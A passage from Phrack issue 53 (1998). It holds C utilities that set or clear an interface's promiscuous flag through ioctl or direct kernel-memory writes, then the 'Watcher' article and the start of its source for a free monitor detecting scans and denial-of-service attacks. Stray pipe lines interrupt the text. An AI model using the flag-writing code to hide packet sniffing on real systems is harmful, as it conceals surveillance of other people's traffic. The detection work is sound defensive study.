|
break;
|
|||
|
default: if ((devn.flags & IFF_PROMISC) == IFF_PROMISC)
|
|||
|
printf("\tIFF_PROMISC set already\n");
|
|||
|
else {
|
|||
|
printf("\t%s: setting IFF_PROMISC\n", ifname);
|
|||
|
devn.flags |= IFF_PROMISC;
|
|||
|
if (kwrite(fd, (u_long)devp, &devn, sizeof(devn)) == -1)
|
|||
|
break;
|
|||
|
}
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
<-->
|
|||
|
<++> EX/promisc/socket-p.c
|
|||
|
/*
|
|||
|
* This is really dumb program.
|
|||
|
* Works on Linux, FreeBSD and Irix.
|
|||
|
* Check README for comments.
|
|||
|
*/
|
|||
|
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <sys/time.h>
|
|||
|
#include <sys/ioctl.h>
|
|||
|
#include <net/if.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <string.h>
|
|||
|
|
|||
|
int main(int argc, char *argv[]) {
|
|||
|
int sd;
|
|||
|
struct ifreq ifr;
|
|||
|
char *interface;
|
|||
|
int promisc;
|
|||
|
|
|||
|
if (argc != 3) {
|
|||
|
printf("usage: %s interface 0|1\n", argv[0]);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
interface = argv[1];
|
|||
|
promisc = atoi(argv[2]);
|
|||
|
|
|||
|
if ((sd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
|
|||
|
perror("socket");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
strncpy(ifr.ifr_name, interface, IFNAMSIZ);
|
|||
|
if (ioctl(sd, SIOCGIFFLAGS, &ifr) == -1) {
|
|||
|
perror("SIOCGIFFLAGS");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
printf("flags = 0x%x\n", (u_short)ifr.ifr_flags);
|
|||
|
if (promisc)
|
|||
|
ifr.ifr_flags |= IFF_PROMISC;
|
|||
|
else
|
|||
|
ifr.ifr_flags &= ~IFF_PROMISC;
|
|||
|
if (ioctl(sd, SIOCSIFFLAGS, &ifr) == -1) {
|
|||
|
perror("SIOCSIFFLAGS");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
close(sd);
|
|||
|
}
|
|||
|
<-->
|
|||
|
<++> EX/promisc/solaris-p.c
|
|||
|
/*
|
|||
|
* promiscuous flag changer v0.1, apk
|
|||
|
* Solaris version, compile with -lkvm -lelf
|
|||
|
*
|
|||
|
* usage: promisc [interface 0|1]
|
|||
|
* (interface has "interface[:<alias number>]" format, e.g. le0:1 or le0)
|
|||
|
*
|
|||
|
* note: look at README for notes because DLPI promiscuous request doesn't
|
|||
|
* set IFF_PROMISC this version is kinda useless.
|
|||
|
*/
|
|||
|
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/time.h>
|
|||
|
|
|||
|
#include <sys/stream.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <net/if.h>
|
|||
|
|
|||
|
#define _KERNEL
|
|||
|
#include <inet/common.h>
|
|||
|
#include <inet/led.h>
|
|||
|
#include <inet/ip.h>
|
|||
|
#undef _KERNEL
|
|||
|
|
|||
|
#include <kvm.h>
|
|||
|
#include <nlist.h>
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <errno.h>
|
|||
|
#include <string.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <unistd.h>
|
|||
|
|
|||
|
#define IFFBITS \
|
|||
|
"\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \
|
|||
|
"\10NOARP\11PROMISC\12ALLMULTI\13INTELLIGENT\14MULTICAST\15MULTI_BCAST" \
|
|||
|
"\16UNNUMBERED\17PRIVATE"
|
|||
|
|
|||
|
struct nlist nl[] = {
|
|||
|
{ "ill_g_head" },
|
|||
|
#define N_ILL_G_HEAD 0
|
|||
|
{ "" }
|
|||
|
};
|
|||
|
|
|||
|
int kread(kvm_t *kd, u_long addr, void *buf, int len) {
|
|||
|
int c;
|
|||
|
|
|||
|
if ((c = kvm_read(kd, addr, buf, len)) != len)
|
|||
|
return -1;
|
|||
|
return c;
|
|||
|
}
|
|||
|
|
|||
|
int kwrite(kvm_t *kd, u_long addr, void *buf, int len) {
|
|||
|
int c;
|
|||
|
|
|||
|
if ((c = kvm_write(kd, addr, buf, len)) != len)
|
|||
|
return -1;
|
|||
|
return c;
|
|||
|
}
|
|||
|
|
|||
|
void usage(char *s) {
|
|||
|
printf("usage: %s [interface 0|1]\n", s);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
int main(int argc, char *argv[]) {
|
|||
|
ill_t illn, *illp;
|
|||
|
ipif_t ipifn, *ipifp;
|
|||
|
char ifname[IFNAMSIZ]; /* XXX IFNAMSIZ? */
|
|||
|
int unit, promisc, i, any;
|
|||
|
char *interface, *cp;
|
|||
|
kvm_t *kd;
|
|||
|
|
|||
|
switch (argc) {
|
|||
|
case 1:
|
|||
|
promisc = -1;
|
|||
|
interface = NULL;
|
|||
|
break;
|
|||
|
case 3:
|
|||
|
interface = argv[1];
|
|||
|
unit = 0;
|
|||
|
if ((cp = strchr(interface, ':')) != NULL) {
|
|||
|
*cp++ = 0;
|
|||
|
unit = strtol(cp, NULL, 10);
|
|||
|
}
|
|||
|
promisc = atoi(argv[2]);
|
|||
|
break;
|
|||
|
default:
|
|||
|
usage(argv[0]);
|
|||
|
}
|
|||
|
|
|||
|
if ((kd = kvm_open(NULL, NULL, NULL, O_RDWR, argv[0])) == NULL)
|
|||
|
exit(1);
|
|||
|
|
|||
|
if (kvm_nlist(kd, nl) == -1) {
|
|||
|
perror("kvm_nlist");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
if (nl[N_ILL_G_HEAD].n_type == 0) {
|
|||
|
printf("Cannot find symbol: %s\n", nl[N_ILL_G_HEAD].n_name);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
if (kread(kd, nl[N_ILL_G_HEAD].n_value, &illp, sizeof(illp)) == -1) {
|
|||
|
perror("kread");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
for (; illp; illp = illn.ill_next) {
|
|||
|
if (kread(kd, (u_long)illp, &illn, sizeof(illn)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
if (kread(kd, (u_long)illn.ill_name, ifname, sizeof(ifname)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
ipifp = illn.ill_ipif;
|
|||
|
/* on Solaris you can set different flags for every alias, so we do */
|
|||
|
for (; ipifp; ipifp = ipifn.ipif_next) {
|
|||
|
if (kread(kd, (u_long)ipifp, &ipifn, sizeof(ipifn)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
printf("%s:%d, flags=0x%x ", ifname, ipifn.ipif_id, ipifn.ipif_flags);
|
|||
|
cp = IFFBITS;
|
|||
|
any = 0;
|
|||
|
putchar('<');
|
|||
|
while ((i = *cp++) != 0) {
|
|||
|
if (ipifn.ipif_flags & (1 << (i-1))) {
|
|||
|
if (any)
|
|||
|
putchar(',');
|
|||
|
any = 1;
|
|||
|
for (; *cp > 32; )
|
|||
|
putchar(*cp++);
|
|||
|
} else
|
|||
|
for (; *cp > 32; cp++)
|
|||
|
;
|
|||
|
}
|
|||
|
putchar('>');
|
|||
|
putchar('\n');
|
|||
|
if (interface && strcmp(interface, ifname) == 0 && unit == ipifn.ipif_id){
|
|||
|
switch (promisc) {
|
|||
|
case -1:
|
|||
|
break;
|
|||
|
case 0: if ((ipifn.ipif_flags & IFF_PROMISC) == 0)
|
|||
|
printf("\tIFF_PROMISC not set\n");
|
|||
|
else {
|
|||
|
printf("\t%s:%d: clearing IFF_PROMISC\n", ifname, unit);
|
|||
|
ipifn.ipif_flags &= ~IFF_PROMISC;
|
|||
|
if (kwrite(kd, (u_long)ipifp, &ipifn, sizeof(ipifn)) == -1)
|
|||
|
perror("kwrite");
|
|||
|
}
|
|||
|
break;
|
|||
|
default: if ((ipifn.ipif_flags & IFF_PROMISC) == IFF_PROMISC)
|
|||
|
printf("\tIFF_PROMISC set already\n");
|
|||
|
else {
|
|||
|
printf("\t%s:%d: setting IFF_PROMISC\n", ifname, unit);
|
|||
|
ipifn.ipif_flags |= IFF_PROMISC;
|
|||
|
if (kwrite(kd, (u_long)ipifp, &ipifn, sizeof(ipifn)) == -1)
|
|||
|
perror("kwrite");
|
|||
|
}
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 11 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Watcher
|
|||
|
|
|||
|
|
|||
|
--------[ hyperion <hyperion@hacklab.com>
|
|||
|
|
|||
|
|
|||
|
----[ INTRODUCTION
|
|||
|
|
|||
|
Do you know if your system has been hacked? If you found those funny user
|
|||
|
accounts or that Trojaned program, its too late. You're owned. Chances are
|
|||
|
that your systems were scanned for holes before your systems were cracked.
|
|||
|
If you had just seen them coming you wouldn't be reloading that OS right now.
|
|||
|
Programs like TCP Wrappers do some good, but they don't see the stealth scans
|
|||
|
or DOS attacks. You could by a nice commercial network intrusion detector,
|
|||
|
but your wallet screams in agony. What you need is a low cost (as in free)
|
|||
|
fast, somewhat paranoid network monitor that watches all packets and uses
|
|||
|
few resources. Watcher provides this.
|
|||
|
|
|||
|
|
|||
|
----[ IMPLEMENTATION
|
|||
|
|
|||
|
Watcher examines all packets on the network interface and assumes they all are
|
|||
|
potentially hostile. Watcher examines every packet within a 10 second window,
|
|||
|
and, at the end of each window it will record any malicious activity it sees
|
|||
|
using syslog. Watcher currently detects the following attacks:
|
|||
|
|
|||
|
- All TCP scans
|
|||
|
- All UDP scans
|
|||
|
- Synflood attacks
|
|||
|
- Teardrop attacks
|
|||
|
- Land attacks
|
|||
|
- Smurf attacks
|
|||
|
- Ping of death attacks
|
|||
|
|
|||
|
All parameters and thresholds are configurable through command line options.
|
|||
|
You can also configure watcher to just look for scans or just look for DOS
|
|||
|
attacks. Watcher assumes any TCP packet other than a RST (which elicits no
|
|||
|
response) may be used to scan for services. If packets of any type are
|
|||
|
received by more than 7 different ports within the window, an event is
|
|||
|
logged. The same criteria are used for UDP scans. If watcher sees more than
|
|||
|
8 SYN packets to the same port with no ACK's or FIN's associated with the
|
|||
|
SYN's, a synflood event is logged. If a fragmented UDP packet with an IP id
|
|||
|
of 242 is seen, it is assumed to be a teardrop attack since the published code
|
|||
|
uses an id of 242. This is somewhat lame since anyone could change the
|
|||
|
attacking code to use other id's. The code should track all fragmented IP's
|
|||
|
and check for overlapping offsets. I may do this in a future version. Any
|
|||
|
TCP SYN packets with source and destination address and ports the same is a
|
|||
|
identified as a land attack. If more than 5 ICMP ECHO REPLIES are seen within
|
|||
|
the window, Watcher assumes it may be a Smurf attack. Note that this is not a
|
|||
|
certainty, since someone your watching may just be pinging the hell out of
|
|||
|
someone. Watcher also assumes that any fragmented ICMP packet is bad, bad,
|
|||
|
bad. This catches attacks such as the ping of death.
|
|||
|
|
|||
|
Watcher has three modes of monitoring. In the default mode, it just watches
|
|||
|
for attacks against its own host. The second monitoring mode is to watch all
|
|||
|
hosts on it's class C subnet. In the third mode, it watches all hosts whose
|
|||
|
packets it sees. Watching multiple hosts is useful if you put Watcher on your
|
|||
|
border to external networks, or to have hosts watch out for each other in case
|
|||
|
one gets cracked before you can react. Even if log files are destroyed, the
|
|||
|
other host has a record.
|
|||
|
|
|||
|
It must be noted that since Watcher treats every packet as potentially hostile,
|
|||
|
it sometimes can report false positives. There are some checks in the code
|
|||
|
to minimize this by increasing its tolerance for certain activity.
|
|||
|
Unfortunately this also increases the rate at which scans can be done before
|
|||
|
Watcher notices. The usual false positives are TCP scans and synfloods,
|
|||
|
mostly resulting from WWW activity. Some web pages have many URL's to GIF
|
|||
|
files and other pretty stuff. Each of these may cause the client to open a
|
|||
|
separate TCP connection to download. Watcher sees these and treats them as
|
|||
|
a TCP scan of the client. To minimize this, watcher will only log TCP scans
|
|||
|
if more than 40 are received in the window AND the source port of the scan
|
|||
|
was 80. This of course can be configured higher or lower as desired. As for
|
|||
|
synfloods we will use the same WWW example above. If the client opens a lot
|
|||
|
of connections to the server right before the 10 second window expires and
|
|||
|
Watcher does not see the ACK's or FIN's for those SYN packets, Watcher will
|
|||
|
think the client is synflooding port 80 on the server. This only happens
|
|||
|
if watcher is watching the server, or if you are watching everyone. You
|
|||
|
may also get occasional false UDP scans if the system being watched makes
|
|||
|
lots of DNS queries within the window.
|
|||
|
|
|||
|
The output for Watcher is pretty simple. Every 10 seconds, any detected
|
|||
|
attacks are logged to syslog. The source and target IP's are logged along
|
|||
|
with the type of attack. Where appropriate, other information such as the
|
|||
|
number of packets, or the port involved are logged. If the attack is normally
|
|||
|
associated with false IP addresses, the MAC address is also logged. If the
|
|||
|
attack is external, the MAC will be for the local router that handled the
|
|||
|
packet. If it was from your LAN, you'll have the source machine and you can
|
|||
|
thank the sender in an appropriate manner.
|
|||
|
|
|||
|
|
|||
|
----[ PROGRAM EXECUTION
|
|||
|
|
|||
|
Watcher was written to run on Linux systems. Watcher has a variety of, most
|
|||
|
of the self-explanatory. To execute watcher, simply run it in the background,
|
|||
|
usually from the system startup script. The options are:
|
|||
|
|
|||
|
Usage: watcher [options]
|
|||
|
-d device Use 'device' as the network interface device
|
|||
|
The first non-loopback interface is the default
|
|||
|
-f flood Assume a synflood attack occurred if more than
|
|||
|
'flood' uncompleted connections are received
|
|||
|
-h A little help here
|
|||
|
-i icmplimit Assume we may be part of a smurf attack if more
|
|||
|
than icmplimit ICMP ECHO REPLIES are seen
|
|||
|
-m level Monitor more than just our own host.
|
|||
|
A level of 'subnet' watches all addresses in our
|
|||
|
subnet and 'all' watches all addresses
|
|||
|
-p portlimit Logs a portscan alert if packets are received for
|
|||
|
more than portlimit ports in the timeout period.
|
|||
|
-r reporttype If reporttype is dos, only Denial Of Service
|
|||
|
attacks are reported. If reporttype is scan
|
|||
|
then only scanners are reported. Everything is
|
|||
|
reported by default.
|
|||
|
-t timeout Count packets and print potential attacks every
|
|||
|
timeout seconds
|
|||
|
-w webcount Assume we are being portscanned if more than
|
|||
|
webcount packets are received from port 80
|
|||
|
|
|||
|
Hopefully, watcher will keep your systems a little better protected. But
|
|||
|
remember that good security is multiple layers, and no single defense tool will
|
|||
|
save you by itself. If you forget this, you'll be reloading that OS one day.
|
|||
|
|
|||
|
|
|||
|
----[ THE CODE
|
|||
|
|
|||
|
<++> EX/Watcher.c
|
|||
|
/*********************************************************************
|
|||
|
Program: watcher
|
|||
|
|
|||
|
A network level monitoring tool to detect incoming packets indicative of
|
|||
|
potential attacks.
|
|||
|
|
|||
|
This software detects low level packet scanners and several DOS attacks.
|
|||
|
Its primary use is to detect low level packet scans, since these are usually
|
|||
|
done first to identify active systems and services to mount further attacks.
|
|||
|
|
|||
|
The package assumes every incoming packet is potentially hostile. Some checks
|
|||
|
are done to minimize false positives, but on occasion a site may be falsely
|
|||
|
identified as having performed a packet scan or SYNFLOOD attack. This usually
|
|||
|
occurs if a large number of connections are done in a brief time right before
|
|||
|
the reporting timeout period (i.e. when browsing a WWW site with lots of
|
|||
|
little GIF's, each requiring a connection to download). You can also get false
|
|||
|
positives if you scan another site, since the targets responses will be viewed
|
|||
|
as a potential scan of your system.
|
|||
|
|
|||
|
By default, alerts are printed to SYSLOG every 10 seconds.
|
|||
|
***********************************************************************/
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/time.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <sys/file.h>
|
|||
|
#include <sys/time.h>
|
|||
|
#include <netinet/in.h>
|
|||
|
#include <netdb.h>
|
|||
|
#include <string.h>
|
|||
|
#include <errno.h>
|
|||
|
#include <ctype.h>
|
|||
|
#include <malloc.h>
|
|||
|
#include <netinet/tcp.h>
|
|||
|
#include <netinet/in_systm.h>
|
|||
|
#include <net/if_arp.h>
|
|||
|
#include <net/if.h>
|
|||
|
#include <netinet/udp.h>
|
|||
|
#include <netinet/ip.h>
|
|||
|
#include <netinet/ip_icmp.h>
|
|||
|
#include <linux/if_ether.h>
|
|||
|
#include <syslog.h>
|
|||
|
|
|||
|
#define PKTLEN 96 /* Should be enough for what we want */
|
|||
|
#ifndef IP_MF
|
|||
|
#define IP_MF 0x2000
|
|||
|
#endif
|
|||
|
|
|||
|
/***** WATCH LEVELS ******/
|
|||
|
|
|||
|
#define MYSELFONLY 1
|
|||
|
#define MYSUBNET 2
|
|||
|
#define HUMANITARIAN 3
|
|||
|
|
|||
|
/***** REPORT LEVELS *****/
|
|||
|
|
|||
|
#define REPORTALL 1
|
|||
|
#define REPORTDOS 2
|
|||
|
#define REPORTSCAN 3
|
|||
|
|
|||
|
struct floodinfo {
|
|||
|
u_short sport;
|
|||
|
struct floodinfo *next;
|
|||
|
};
|
|||
|
|
|||
|
struct addrlist {
|
|||
|
u_long saddr;
|
|||
|
int cnt;
|
|||
|
int wwwcnt;
|
|||
|
struct addrlist *next;
|
|||
|
};
|
|||
|
|
|||
|
struct atk {
|
|||
|
u_long saddr;
|
|||
|
u_char eaddr[ETH_ALEN];
|
|||
|
time_t atktime;
|
|||
|
};
|
|||
|
|
|||
|
struct pktin {
|
|||
|
u_long saddr;
|
|||
|
u_short sport;
|
|||
|
u_short dport;
|
|||
|
time_t timein;
|
|||
|
u_char eaddr[ETH_ALEN];
|
|||
|
struct floodinfo *fi;
|
|||
|
struct pktin *next;
|
|||
|
};
|
|||
|
|
|||
|
struct scaninfo {
|
|||
|
u_long addr;
|
|||
|
struct atk teardrop;
|
|||
|
struct atk land;
|
|||
|
struct atk icmpfrag;
|
|||
|
struct pktin *tcpin;
|
|||
|
struct pktin *udpin;
|
|||
|
struct scaninfo *next;
|
|||
|
u_long icmpcnt;
|
|||
|
} ;
|
|||
|
|
|||
|
struct scaninfo *Gsilist = NULL, *Gsi;
|
|||
|
|
|||
|
u_long Gmaddr;
|
|||
|
time_t Gtimer = 10, Gtimein;
|
|||
|
int Gportlimit = 7;
|
|||
|
int Gsynflood = 8;
|
|||
|
int Gwebcount = 40;
|
|||
|
int Gicmplimit = 5;
|
|||
|
int Gwatchlevel = MYSELFONLY;
|
|||
|
int Greportlevel = REPORTALL;
|
|||
|
char *Gprogramname, *Gdevice = "eth0";
|
|||
|
|
|||
|
/******** IP packet info ********/
|
|||
|
|
|||
|
u_long Gsaddr, Gdaddr;
|
|||
|
int Giplen, Gisfrag, Gid;
|
|||
|
|
|||
|
/****** Externals *************/
|
|||
|
|
|||
|
extern int errno;
|
|||
|
extern char *optarg;
|
|||
|
extern int optind, opterr;
|
|||
|
|
|||
|
void do_tcp(), do_udp(), do_icmp(), print_info(), process_packet();
|
|||
|
void addtcp(), addudp(), clear_pktin(), buildnet();
|
|||
|
void doargs(), usage(), addfloodinfo(), rmfloodinfo();
|
|||
|
struct scaninfo *doicare(), *addtarget();
|
|||
|
char *anetaddr(), *ether_ntoa();
|
|||
|
u_char *readdevice();
|
|||
|
|
|||
|
main(argc, argv)
|
|||
|
int argc;
|
|||
|
char *argv[];
|
|||
|
{
|
|||
|
int pktlen = 0, i, netfd;
|
|||
|
u_char *pkt;
|
|||
|
char hostname[32];
|
|||
|
struct hostent *hp;
|
|||
|
time_t t;
|
|||
|
|
|||
|
doargs(argc, argv);
|
|||
|
openlog("WATCHER", 0, LOG_DAEMON);
|
|||
|
if(gethostname(hostname, sizeof(hostname)) < 0)
|
|||
|
{
|
|||
|
perror("gethostname");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
if((hp = gethostbyname(hostname)) == NULL)
|
|||
|
{
|
|||
|
fprintf(stderr, "Cannot find own address\n");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
memcpy((char *)&Gmaddr, hp->h_addr, hp->h_length);
|
|||
|
buildnet();
|
|||
|
if((netfd = initdevice(O_RDWR, 0)) < 0)
|
|||
|
exit(-1);
|
|||
|
|
|||
|
/* Now read packets forever and process them. */
|
|||
|
|
|||
|
t = time((time_t *)0);
|
|||
|
while(pkt = readdevice(netfd, &pktlen))
|
|||
|
{
|
|||
|
process_packet(pkt, pktlen);
|
|||
|
if(time((time_t *)0) - t > Gtimer)
|
|||
|
{
|
|||
|
/* Times up. Print what we found and clean out old stuff. */
|
|||
|
|
|||
|
for(Gsi = Gsilist, i = 0; Gsi; Gsi = Gsi->next, i++)
|
|||
|
{
|
|||
|
clear_pktin(Gsi);
|
|||
|
print_info();
|
|||
|
Gsi->icmpcnt = 0;
|
|||
|
}
|
|||
|
t = time((time_t *)0);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: doargs
|
|||
|
|
|||
|
Purpose: sets values from environment or command line arguments.
|
|||
|
**********************************************************************/
|
|||
|
void doargs(argc, argv)
|
|||
|
int argc;
|
|||
|
char **argv;
|
|||
|
{
|
|||
|
char c;
|
|||
|
|
|||
|
Gprogramname = argv[0];
|
|||
|
while((c = getopt(argc,argv,"d:f:hi:m:p:r:t:w:")) != EOF)
|
|||
|
{
|
|||
|
switch(c)
|
|||
|
{
|
|||
|
case 'd':
|
|||
|
Gdevice = optarg;
|
|||
|
break;
|
|||
|
case 'f':
|
|||
|
Gsynflood = atoi(optarg);
|
|||
|
break;
|
|||
|
case 'h':
|
|||
|
usage();
|
|||
|
exit(0);
|
|||
|
case 'i':
|
|||
|
Gicmplimit = atoi(optarg);
|
|||
|
break;
|
|||
|
case 'm':
|
|||
|
if(strcmp(optarg, "all") == 0)
|
|||
|
Gwatchlevel = HUMANITARIAN;
|
|||
|
else if(strcmp(optarg, "subnet") == 0)
|
|||
|
Gwatchlevel = MYSUBNET;
|
|||
|
else
|
|||
|
{
|
|||
|
usage();
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
break;
|
|||
|
case 'p':
|
|||
|
Gportlimit = atoi(optarg);
|
|||
|
break;
|
|||
|
case 'r':
|
|||
|
if(strcmp(optarg, "dos") == 0)
|
|||
|
Greportlevel = REPORTDOS;
|
|||
|
else if(strcmp(optarg, "scan") == 0)
|
|||
|
Greportlevel = REPORTSCAN;
|
|||
|
else
|
|||
|
{
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
break;
|
|||
|
case 't':
|
|||
|
Gtimer = atoi(optarg);
|
|||
|
break;
|
|||
|
case 'w':
|
|||
|
Gwebcount = atoi(optarg);
|
|||
|
break;
|
|||
|
default:
|
|||
|
usage();
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: usage
|
|||
|
|
|||
|
Purpose: Display the usage of the program
|
|||
|
**********************************************************************/
|
|||
|
void usage()
|
|||
|
{
|
|||
|
printf("Usage: %s [options]\n", Gprogramname);
|
|||
|
printf(" -d device Use 'device' as the network interface device\n");
|
|||
|
printf(" The first non-loopback interface is the default\n");
|
|||
|
printf(" -f flood Assume a synflood attack occurred if more than\n");
|
|||
|
printf(" 'flood' uncompleted connections are received\n");
|
|||
|
printf(" -h A little help here\n");
|
|||
|
printf(" -i icmplimit Assume we may be part of a smurf attack if more\n");
|
|||
|
printf(" than icmplimit ICMP ECHO REPLIES are seen\n");
|
|||
|
printf(" -m level Monitor more than just our own host.\n");
|
|||
|
printf(" A level of 'subnet' watches all addresses in our\n");
|
|||
|
printf(" subnet and 'all' watches all addresses\n");
|
|||
|
printf(" -p portlimit Logs a portscan alert if packets are received for\n");
|
|||
|
printf(" more than portlimit ports in the timeout period.\n");
|
|||
|
printf(" -r reporttype If reporttype is dos, only Denial Of Service\n");
|
|||
|
printf(" attacks are reported. If reporttype is scan\n");
|
|||
|
printf(" then only scanners are reported. Everything is\n");
|
|||
|
printf(" reported by default.\n");
|
|||
|
printf(" -t timeout Count packets and print potential attacks every\n");
|
|||
|
printf(" timeout seconds\n");
|
|||
|
printf(" -w webcount Assume we are being portscanned if more than\n");
|
|||
|
printf(" webcount packets are received from port 80\n");
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: buildnet
|
|||
|
|
|||
|
Purpose: Setup for monitoring of our host or entire subnet.
|
|||
|
**********************************************************************/
|
|||
|
void buildnet()
|
|||
|
{
|
|||
|
u_long addr;
|
|||
|
u_char *p;
|
|||
|
int i;
|
|||
|
|
|||
|
if(Gwatchlevel == MYSELFONLY) /* Just care about me */
|
|||
|
{
|
|||
|
(void) addtarget(Gmaddr);
|
|||
|
}
|
|||
|
else if(Gwatchlevel == MYSUBNET) /* Friends and neighbors */
|
|||
|
{
|
|||
|
addr = htonl(Gmaddr);
|
|||
|
addr = addr & 0xffffff00;
|
|||
|
for(i = 0; i < 256; i++)
|
|||
|
(void) addtarget(ntohl(addr + i));
|
|||
|
}
|
|||
|
}
|
|||
|
/**********************************************************************
|
|||
|
Function: doicare
|
|||
|
|
|||
|
Purpose: See if we monitor this address
|
|||
|
**********************************************************************/
|
|||
|
struct scaninfo *doicare(addr)
|
|||
|
u_long addr;
|
|||
|
{
|
|||
|
struct scaninfo *si;
|
|||
|
int i;
|
|||
|
|
|||
|
for(si = Gsilist; si; si = si->next)
|
|||
|
{
|
|||
|
if(si->addr == addr)
|
|||
|
return(si);
|
|||
|
}
|
|||
|
if(Gwatchlevel == HUMANITARIAN) /* Add a new address, we always care */
|
|||
|
{
|
|||
|
si = addtarget(addr);
|
|||
|
return(si);
|
|||
|
}
|
|||
|
return(NULL);
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: addtarget
|
|||
|
|
|||
|
Purpose: Adds a new IP address to the list of hosts to watch.
|
|||
|
**********************************************************************/
|
|||
|
struct scaninfo *addtarget(addr)
|
|||
|
u_long addr;
|
|||
|
{
|
|||
|
struct scaninfo *si;
|
|||
|
|
|||
|
if((si = (struct scaninfo *)malloc(sizeof(struct scaninfo))) == NULL)
|
|||
|
{
|
|||
|
perror("malloc scaninfo");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
memset(si, 0, sizeof(struct scaninfo));
|
|||
|
si->addr = addr;
|
|||
|
si->next = Gsilist;
|
|||
|
Gsilist = si;
|
|||
|
return(si);
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: process_packet
|
|||
|
|
|||
|
Purpose: Process raw packet and figure out what we need to to with it.
|
|||
|
|
|||
|
Pulls the packet apart and stores key data in global areas for reference
|
|||
|
by other functions.
|
|||
|
**********************************************************************/
|
|||
|
void process_packet(pkt, pktlen)
|
|||
|
u_char *pkt;
|
|||
|
int pktlen;
|
|||
|
{
|
|||
|
struct ethhdr *ep;
|
|||
|
struct iphdr *ip;
|
|||
|
static struct align { struct iphdr ip; char buf[PKTLEN]; } a1;
|
|||
|
u_short off;
|
|||
|
|
|||
|
Gtimein = time((time_t *)0);
|
|||
|
ep = (struct ethhdr *) pkt;
|
|||
|
if(ntohs(ep->h_proto) != ETH_P_IP)
|
|||
|
return;
|
|||
|
|
|||
|
pkt += sizeof(struct ethhdr);
|
|||
|
pktlen -= sizeof(struct ethhdr);
|
|||
|
memcpy(&a1, pkt, pktlen);
|
|||
|
ip = &a1.ip;
|
|||
|
Gsaddr = ip->saddr;
|
|||
|
Gdaddr = ip->daddr;
|
|||
|
|
|||
|
if((Gsi = doicare(Gdaddr)) == NULL)
|
|||
|
return;
|
|||
|
|
|||
|
off = ntohs(ip->frag_off);
|
|||
|
Gisfrag = (off & IP_MF); /* Set if packet is fragmented */
|
|||
|
Giplen = ntohs(ip->tot_len);
|
|||
|
Gid = ntohs(ip->id);
|
|||
|
pkt = (u_char *)ip + (ip->ihl << 2);
|
|||
|
Giplen -= (ip->ihl << 2);
|
|||
|
switch(ip->protocol)
|
|||
|
{
|
|||
|
case IPPROTO_TCP:
|
|||
|
do_tcp(ep, pkt);
|
|||
|
break;
|
|||
|
case IPPROTO_UDP:
|
|||
|
do_udp(ep, pkt);
|
|||
|
break;
|
|||
|
case IPPROTO_ICMP:
|
|||
|
do_icmp(ep, pkt);
|
|||
|
break;
|
|||
|
default:
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: do_tcp
|
|||
|
|
|||
|
Purpose: Process this TCP packet if it is important.
|
|||
|
**********************************************************************/
|
|||
|
void do_tcp(ep, pkt)
|
|||
|
struct ethhdr *ep;
|
|||
|
u_char *pkt;
|
|||
|
{
|
|||
|
struct tcphdr *thdr;
|
|||
|
u_short sport, dport;
|
|||
|
|
|||
|
thdr = (struct tcphdr *) pkt;
|
|||
|
if(thdr->th_flags & TH_RST) /* RST generates no response */
|
|||
|
return; /* Therefore can't be used to scan. */
|
|||
|
sport = ntohs(thdr->th_sport);
|
|||
|
dport = ntohs(thdr->th_dport);
|
|||
|
|
|||
|
if(thdr->th_flags & TH_SYN)
|
|||
|
{
|
|||
|
if(Gsaddr == Gdaddr && sport == dport)
|
|||
|
{
|
|||
|
Gsi->land.atktime = Gtimein;
|
|||
|
Gsi->land.saddr = Gsaddr;
|
|||
|
memcpy(Gsi->land.eaddr, ep->h_source, ETH_ALEN);
|
|||
|
}
|
|||
|
}
|
|||
|
addtcp(sport, dport, thdr->th_flags, ep->h_source);
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
